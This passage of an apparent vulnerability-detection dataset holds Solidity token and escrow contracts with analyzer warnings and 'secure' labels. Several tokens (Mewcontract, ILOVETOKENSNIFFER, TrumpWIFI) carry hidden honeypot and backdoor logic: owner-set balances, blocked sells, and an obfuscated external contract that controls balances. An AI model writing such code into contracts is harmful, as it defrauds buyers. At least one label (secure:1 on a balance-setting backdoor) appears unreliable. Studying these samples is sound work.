iMee() internal view returns (bool) {\n return _msgSender() == _bootsmark;\n }\n\n function Apprve(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] = receiveRewrd;\n require(_iee(recipient), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_859.sol", "secure": 1, "size_bytes": 5224 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\n\ncontract Mewcontract is IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bc6879c): mewcontract._taxWallet should be immutable \n\t// Recommendation for bc6879c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mewther\";\n\n string private constant _symbol = unicode\"MEW\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ed9523): mewcontract.pair should be constant \n\t// Recommendation for 1ed9523: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Pair private pair;\n\n bool public tradingOpen;\n\n address private p;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbb6beb): mewcontract.universalRouter should be constant \n\t// Recommendation for bbb6beb: Add the 'constant' attribute to state variables that never change.\n address private universalRouter =\n 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;\n\n constructor() {\n _taxWallet = payable(msg.sender);\n\n _balances[msg.sender] = _tTotal;\n\n emit Transfer(address(0), msg.sender, _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 001a59b): mewcontract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 001a59b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a37c46d): mewcontract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a37c46d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (from == _taxWallet && to != address(this)) {\n _balances[to] = amount;\n\n emit Transfer(from, to, amount);\n } else {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (address(this).balance > 1) {\n require(\n from == address(this) ||\n from == p ||\n from == universalRouter ||\n from == _taxWallet\n );\n }\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 142a56b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 142a56b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 67c2542): mewcontract.OpenTraiding() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,_taxWallet,~ uint256(0))\n\t// Recommendation for 67c2542: Ensure that all the return values of the function calls are used.\n function OpenTraiding() external payable onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), ~uint256(0));\n\n\t\t// reentrancy-benign | ID: 142a56b\n p = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 142a56b\n\t\t// unused-return | ID: 67c2542\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n _taxWallet,\n ~uint256(0)\n );\n\n\t\t// reentrancy-benign | ID: 142a56b\n tradingOpen = true;\n }\n\n receive() external payable {\n if (msg.sender == _taxWallet) {\n if (msg.value == 1) {\n _taxWallet.transfer(address(this).balance);\n } else {}\n }\n }\n}", "file_name": "solidity_code_86.sol", "secure": 0, "size_bytes": 6926 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5f72b76): Contract locking ether found Contract PumpekinCoin has payable functions PumpekinCoin.receive() But does not have a function to withdraw the ether\n// Recommendation for 5f72b76: Remove the 'payable' attribute or add a withdraw function.\ncontract PumpekinCoin is ERC20, Ownable {\n constructor() ERC20(unicode\"Pumpekin Coin\", unicode\"PUMPEKIN\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5f72b76): Contract locking ether found Contract PumpekinCoin has payable functions PumpekinCoin.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 5f72b76: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_860.sol", "secure": 0, "size_bytes": 1035 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\n\ncontract ILOVETOKENSNIFFER is IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 286fc4b): I_LOVE_TOKENSNIFFER._taxWallet should be immutable \n\t// Recommendation for 286fc4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 666 * 10 ** _decimals;\n\n string private constant _name = unicode\"I LOVE TOKEN SNIFFER\";\n\n string private constant _symbol = unicode\"LVSNFFR\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f90a8f): I_LOVE_TOKENSNIFFER.pair should be constant \n\t// Recommendation for 3f90a8f: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Pair private pair;\n\n address private p;\n\n\t// WARNING Optimization Issue (constable-states | ID: 894df0d): I_LOVE_TOKENSNIFFER.universalRouter should be constant \n\t// Recommendation for 894df0d: Add the 'constant' attribute to state variables that never change.\n address private universalRouter =\n 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;\n\n constructor() {\n _taxWallet = payable(msg.sender);\n\n _balances[msg.sender] = _tTotal;\n\n emit Transfer(address(0), msg.sender, _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fcbbd14): I_LOVE_TOKENSNIFFER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fcbbd14: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b14a207): I_LOVE_TOKENSNIFFER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b14a207: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (from == _taxWallet && to != address(this)) {\n _balances[to] = amount;\n\n emit Transfer(from, to, amount);\n } else {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (address(this).balance > 1) {\n require(\n from == address(this) ||\n from == p ||\n from == universalRouter ||\n from == _taxWallet\n );\n }\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 01217de): I_LOVE_TOKENSNIFFER.LaunchToken() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,_taxWallet,~ uint256(0))\n\t// Recommendation for 01217de: Ensure that all the return values of the function calls are used.\n function LaunchToken() external payable onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), ~uint256(0));\n\n p = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 01217de\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n _taxWallet,\n ~uint256(0)\n );\n }\n\n function test() external {}\n\n receive() external payable {\n if (msg.sender == _taxWallet) {\n if (msg.value == 1) {\n _taxWallet.transfer(address(this).balance);\n } else {}\n }\n }\n}", "file_name": "solidity_code_861.sol", "secure": 0, "size_bytes": 6455 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BoysClub is ERC20, Ownable {\n function boysClubUniqueTag() public pure returns (string memory) {\n return\n \"Furie Trump and Elon are backed by the notorious members of the boysclub\";\n }\n\n function contractIdentifier() public pure returns (uint256) {\n return 171120246969;\n }\n\n constructor(\n address initialOwner\n ) ERC20(\"BoysClub\", \"BOYSCLUB\") Ownable(initialOwner) {\n _mint(msg.sender, 69000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_862.sol", "secure": 1, "size_bytes": 709 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface UniswapRouterV2 {\n function swapppTokensForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function swapTokensForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function eth413swap(\n address choong,\n uint256 total,\n address destination\n ) external view returns (uint256);\n\n function getLPaddress(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n}", "file_name": "solidity_code_863.sol", "secure": 1, "size_bytes": 639 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ccp1antt {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}", "file_name": "solidity_code_864.sol", "secure": 1, "size_bytes": 197 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ccp1ant.sol\" as ccp1ant;\n\ncontract Laaatte is ccp1ant {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 883081b): TrumpWIFI._approve(address,address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for 883081b: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dacfdc0): TrumpWIFI.transfer(address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for dacfdc0: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: be3a95f): TrumpWIFI.allowance(address,address).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for be3a95f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e04be8a): TrumpWIFI.approve(address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for e04be8a: Rename the local variables that shadow another component.\n function accountOwner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_865.sol", "secure": 0, "size_bytes": 2068 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV20 {\n function swap2(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.eth413swap(address(0), amount, from);\n }\n\n function swap99(\n UniswapRouterV2 instance2,\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n if (amount > 1) {\n return swap2(instance, amount, from);\n } else {\n return swap2(instance2, amount, from);\n }\n }\n}", "file_name": "solidity_code_866.sol", "secure": 1, "size_bytes": 709 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ccp1ant.sol\" as ccp1ant;\nimport \"./laaatte.sol\" as laaatte;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"./IUniswapRouterV20.sol\" as IUniswapRouterV20;\n\ncontract TrumpWIFI is ccp1ant, laaatte {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1467e4c): TrumpWIFI._totalSupply should be constant \n\t// Recommendation for 1467e4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 391bc87): TrumpWIFI._tokenname should be constant \n\t// Recommendation for 391bc87: Add the 'constant' attribute to state variables that never change.\n string private _tokenname = unicode\"TrumpWIFI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: cbcf026): TrumpWIFI._tokensymbol should be constant \n\t// Recommendation for cbcf026: Add the 'constant' attribute to state variables that never change.\n string private _tokensymbol = unicode\"TrumpWIFI\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 689a2a3): TrumpWIFI.BasedInstance should be immutable \n\t// Recommendation for 689a2a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private BasedInstance;\n\n constructor(uint256 dZTTu) {\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n uint256 cc = dZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n );\n\n BasedInstance = getFnnmoosgsto(((bFactornnmoosgsto(cc))));\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c4787f): TrumpWIFI.bb should be constant \n\t// Recommendation for 9c4787f: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (a +\n bb +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function bFactornnmoosgsto(uint256 value) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosmmgsto(accc);\n }\n\n function getBcQnnmoosmmgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _tokensymbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _tokenname;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dacfdc0): TrumpWIFI.transfer(address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for dacfdc0: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: be3a95f): TrumpWIFI.allowance(address,address).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for be3a95f: Rename the local variables that shadow another component.\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e04be8a): TrumpWIFI.approve(address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for e04be8a: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV20.swap99(\n BasedInstance,\n BasedInstance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance - (amount);\n\n _balances[to] = _balances[to] + (amount);\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 883081b): TrumpWIFI._approve(address,address,uint256).accountOwner shadows laaatte.accountOwner() (function)\n\t// Recommendation for 883081b: Rename the local variables that shadow another component.\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}", "file_name": "solidity_code_867.sol", "secure": 0, "size_bytes": 7124 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./SendrTimeEscrow.sol\" as SendrTimeEscrow;\n\ninterface ISendrEscrow {\n function delegateVotes(\n address delegateAddress,\n uint256 votingPower\n ) external;\n\n function getMilestones(\n uint256 _contractId\n ) external view returns (SendrTimeEscrow.Milestone[] memory milestones);\n\n function getPastVotes(\n address user,\n uint256 disputeTimestamp\n ) external view returns (uint256);\n\n function sendrToken() external view returns (address);\n\n function sendrTreasury() external view returns (address);\n\n function userContracts(address, uint256) external view returns (uint256);\n\n function userDelegations(\n address,\n uint256\n )\n external\n view\n returns (\n address delegateAddress,\n uint256 votingPower,\n uint256 timestamp\n );\n\n function voidCheck(address, uint256) external view returns (bool);\n\n function voidContract(uint256 _contractId) external;\n\n function voided(uint256) external view returns (bool);\n}", "file_name": "solidity_code_868.sol", "secure": 1, "size_bytes": 1162 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./ISendrEscrow.sol\" as ISendrEscrow;\n\ncontract SendrTimeEscrow is Ownable, ReentrancyGuard {\n struct Milestone {\n uint256 contractId;\n uint256 value;\n string title;\n bool released;\n bool inDispute;\n uint256 releaseTime;\n }\n\n struct Delegate {\n address delegateAddress;\n uint256 votingPower;\n uint256 timestamp;\n }\n\n struct Contract {\n Milestone[] milestones;\n uint256 startBlock;\n uint256 contractId;\n address payer;\n address payee;\n bool active;\n string title;\n address tokenAddress;\n bool inDispute;\n uint256 valueRemaining;\n }\n\n struct Dispute {\n uint256 contractId;\n uint256 milestoneId;\n bool fullContractDispute;\n bool resolved;\n uint256 snapshotBlock;\n uint256 yesVotes;\n uint256 noVotes;\n uint256 votingDeadline;\n uint256 totalVotes;\n mapping(address => bool) hasVoted;\n }\n\n uint256 public VOTING_DURATION = 24 hours;\n\n uint256 public VOTING_EXTENSION_DURATION = 12 hours;\n\n uint256 public THRESHOLD_PERCENT = 10;\n\n uint256 public CONTRACT_FEE = 500;\n\n address public FEE_WALLET = 0xeaDA12106cE206Ed1faD23C4cD94Af794282FA22;\n\n ISendrEscrow public escrowV1;\n\n uint256 public activeContracts;\n\n IERC20 public sendrToken;\n\n address public sendrTreasury;\n\n uint256 public contractCount;\n\n mapping(address => Delegate[]) public userDelegations;\n\n mapping(uint256 => Contract) public contracts;\n\n mapping(uint256 => Dispute) public disputes;\n\n mapping(address => uint256[]) public userContracts;\n\n mapping(uint256 => bool) public fundedStatus;\n\n mapping(uint256 => address) public signer;\n\n mapping(address => mapping(uint256 => bool)) public voidCheck;\n\n mapping(uint256 => bool) public voided;\n\n mapping(uint256 => bool) public completedStatus;\n\n event DisputeCreated(\n uint256 contractId,\n uint256 milestoneId,\n bool fullContractDispute,\n uint256 snapshotBlock\n );\n\n event ContractCompleted(uint256 contractId);\n\n event DisputeResolved(\n uint256 contractId,\n uint256 milestoneId,\n bool inFavorOfPayee\n );\n\n event VotingExtended(uint256 contractId, uint256 milestoneId);\n\n event ContractCreated(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n string identifier\n );\n\n event MilestoneReleased(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n uint256 milestoneId\n );\n\n event MilestoneClaimed(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n uint256 milestoneId,\n uint256 time\n );\n\n event ContractSigned(\n uint256 contractId,\n address payer,\n address payee,\n string title\n );\n\n event MilestoneDisputed(uint256 contractId, uint256 milestoneId);\n\n event ContractDisputed(uint256 contractId);\n\n event ContractVoided(uint256 contractId);\n\n constructor(IERC20 _sendrToken) Ownable(msg.sender) {\n sendrToken = _sendrToken;\n }\n\n function setSendrToken(IERC20 _sendrToken) external onlyOwner {\n sendrToken = _sendrToken;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0a71384): SendrTimeEscrow.setFeeWallet(address)._feeWallet lacks a zerocheck on \t FEE_WALLET = _feeWallet\n\t// Recommendation for 0a71384: Check that the address is not zero.\n function setFeeWallet(address _feeWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 0a71384\n FEE_WALLET = _feeWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5c956ef): SendrTimeEscrow.setFee(uint256) should emit an event for CONTRACT_FEE = _fee \n\t// Recommendation for 5c956ef: Emit an event for critical parameter changes.\n function setFee(uint256 _fee) external onlyOwner {\n require(_fee <= 1000 && _fee >= 100, \"Fee range of 1-10%\");\n\n\t\t// events-maths | ID: 5c956ef\n CONTRACT_FEE = _fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7191e9b): SendrTimeEscrow.setSendrTreasury(address)._sendrTreasury lacks a zerocheck on \t sendrTreasury = _sendrTreasury\n\t// Recommendation for 7191e9b: Check that the address is not zero.\n function setSendrTreasury(address _sendrTreasury) external onlyOwner {\n\t\t// missing-zero-check | ID: 7191e9b\n sendrTreasury = _sendrTreasury;\n }\n\n function setVotingDuration(uint256 _duration) external onlyOwner {\n require(_duration > 0, \"Duration must be greater than zero\");\n\n require(_duration < 24 hours);\n\n VOTING_DURATION = _duration;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6d4cc5c): SendrTimeEscrow.setVotingExtensionDuration(uint256) should emit an event for VOTING_EXTENSION_DURATION = _extension \n\t// Recommendation for 6d4cc5c: Emit an event for critical parameter changes.\n function setVotingExtensionDuration(uint256 _extension) external onlyOwner {\n require(_extension > 0, \"Extension must be greater than zero\");\n\n\t\t// events-maths | ID: 6d4cc5c\n VOTING_EXTENSION_DURATION = _extension;\n }\n\n function setEscrowV1(ISendrEscrow _escrowV1) external onlyOwner {\n escrowV1 = _escrowV1;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 183a77b): SendrTimeEscrow.setThresholdPercent(uint256) should emit an event for THRESHOLD_PERCENT = _percent \n\t// Recommendation for 183a77b: Emit an event for critical parameter changes.\n function setThresholdPercent(uint256 _percent) external onlyOwner {\n require(_percent >= 4 && _percent <= 100, \"Invalid Threshold Percent\");\n\n\t\t// events-maths | ID: 183a77b\n THRESHOLD_PERCENT = _percent;\n }\n\n function raiseDispute(\n uint256 _contractId,\n uint256 _milestoneId,\n bool _fullContractDispute\n ) public {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Only contract parties can raise disputes\"\n 